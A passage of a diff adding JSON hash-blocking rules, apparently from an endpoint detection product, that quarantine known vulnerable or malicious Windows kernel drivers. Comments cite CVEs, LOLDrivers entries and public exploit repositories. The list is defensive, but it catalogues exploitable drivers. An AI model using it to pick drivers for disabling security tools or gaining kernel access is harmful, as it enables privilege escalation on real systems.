+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605267Z",
+  "creation_date": "2026-03-23T11:45:29.605269Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605274Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "594b3e2ce945a7db3a16ef23da39997ddc12337266ecf8ad326ffcf2c4ee1bc8",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "78f2a00f-f06c-595a-bb4c-28577e09d7ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488170Z",
+  "creation_date": "2026-03-23T11:45:31.488172Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488177Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0fa1f1e15af1793f292683e0ec1abb0ee60bf21a3ce8cd8792f859ead578e2ac",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "78f416b1-058f-5e1a-9dc4-1ab9965914b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981278Z",
+  "creation_date": "2026-03-23T11:45:29.981280Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981286Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ae383546761069b26826dfbf2ac0233169d155bca6a94160488092b4e70b222",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7909bf95-a53e-57eb-a90f-ed8b8981f3a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975255Z",
+  "creation_date": "2026-03-23T11:45:29.975257Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975262Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37f16c8232ec679ee400c76272fc9b56977524e70cfd5cce375ab79f4750bf64",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7913d6f9-9654-5c64-8d4f-7737b7911bfb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818860Z",
+  "creation_date": "2026-03-23T11:45:30.818862Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818868Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7690ef2838bda2327116243c1792090125b36a5840464e010acdd103f7369807",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "791c6f5b-95b5-5737-80b8-af0fda71a54e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160421Z",
+  "creation_date": "2026-03-23T11:45:31.160423Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160429Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f2291c7a5f6e186bf095ecb2a86d4ad42ca413a8d8075ee486f5b1c82599a19d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "792c92f7-1ec0-5043-87e3-2607a075b827",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825386Z",
+  "creation_date": "2026-03-23T11:45:31.825388Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825394Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "93d7bbc215f593f416e1582ed7426837cccacb2e2e599ded297c524c294e2869",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "79341eb9-dd29-519f-9cda-c91be93de50c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820825Z",
+  "creation_date": "2026-03-23T11:45:30.820827Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820832Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c586befc3fd561fcbf1cf706214ae2adaa43ce9ba760efd548d581f60deafc65",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "793a11e2-38d9-5fce-99ae-19a431425fea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981296Z",
+  "creation_date": "2026-03-23T11:45:29.981298Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981303Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0bd164da36bd637bb76ca66602d732af912bd9299cb3d520d26db528cb54826d",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "795a64ed-a003-50c5-83bd-ee5f0070fe54",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821944Z",
+  "creation_date": "2026-03-23T11:45:31.821946Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821962Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e833157a12ac6f032c43616f5d9506674cc860a85add76cbd9d007c3ad09ad3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7960d647-9791-5344-a1ac-1759f380e604",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974052Z",
+  "creation_date": "2026-03-23T11:45:29.974054Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974059Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4d9f037411284e996a002b15b49bc227d085ee869ae1cd91ba54ff7c244f036",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7962022d-c3bf-5abb-9a67-2f7baf0bc17c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815915Z",
+  "creation_date": "2026-03-23T11:45:30.815917Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815923Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1970400679c3ae7000f1ba3e0f12c2d5443df7fbb8947cabe45c7ae977806efb",
+  "comment": "Vulnerable Kernel Driver (aka FPCIE2COM.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7962e7af-6356-57cd-9dcc-693697680153",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461906Z",
+  "creation_date": "2026-03-23T11:45:30.461909Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461918Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ece76b79feafb38ae4371e104b6dcbb4253ff3b2acbe5bd14ce6e47525c24f4a",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7966a510-817b-5d16-8e0e-dd52c567a236",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477026Z",
+  "creation_date": "2026-03-23T11:45:30.477029Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477038Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a1b56ae08d822bb5d041c2a67584371ffddcb7f6d69191efec5b8189e0028331",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "796f755b-1889-544c-b4f6-b822c5beaf3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982730Z",
+  "creation_date": "2026-03-23T11:45:29.982732Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982738Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a84bec9cf836c3abdc0f99e389c72041b6c2b1ba2921d272436e2b8a9b98afb1",
+  "comment": "Vulnerable Kernel Driver (aka d4.sys) [https://www.loldrivers.io/drivers/c2e70ee6-2f13-4d43-ad5a-c2bf033cc457/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7975ddd7-dd13-5557-ab6b-169625ce1219",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972178Z",
+  "creation_date": "2026-03-23T11:45:29.972180Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972185Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c21e7ce6ef61ee173e11104252c8d9a22a976f5dd61c83c2f54f363e67feee93",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "798055c0-66ae-54bd-bc3c-1858f90ba9db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494867Z",
+  "creation_date": "2026-03-23T11:45:31.494887Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494893Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "165b01284ea23d63d615859002fa9d212fea61cffe9094deba8dc55ae40f177d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "79820787-2b97-5e4a-91e0-d2f89ef29a7f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614753Z",
+  "creation_date": "2026-03-23T11:45:29.614755Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614760Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "98b734dda78c16ebcaa4afeb31007926542b63b2f163b2f733fa0d00dbb344d8",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7986f81c-f3e2-5314-9493-c9006a7d2be8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617661Z",
+  "creation_date": "2026-03-23T11:45:29.617663Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617668Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb19f241ddae74ec4a0f87dff025ec68dc809f9dd883649c0e58822de28e6f1b",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "798f0449-f4be-577e-9c39-aacac3c3c61d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476789Z",
+  "creation_date": "2026-03-23T11:45:31.476793Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476802Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "87e396f5825bce67a694ab32e41c99e40312598edc6889a7c7f31c9f6414e4c4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "799130e4-3639-5ecf-a992-df7a3cfe26ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817793Z",
+  "creation_date": "2026-03-23T11:45:30.817796Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817804Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "51859571d807d984e4f1cf145d5d74491feabd19327309c2c598c496a1976c70",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "79a8e591-6acc-5c03-b18c-7a06f15f2538",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979929Z",
+  "creation_date": "2026-03-23T11:45:29.979931Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979937Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "66d59e646f3965bc5225eca4285ae65f34b8681fb1bee3eaf440f6795b2fa70f",
+  "comment": "Vulnerable Kernel Driver (aka FairplayKD.sys) [https://www.loldrivers.io/drivers/31686f0e-3748-48c2-be09-fc8f3252e780/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "79b143dc-4f06-554a-ab7c-b68fe01a84db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807465Z",
+  "creation_date": "2026-03-23T11:45:31.807467Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807473Z",
+  "rule_level": null,
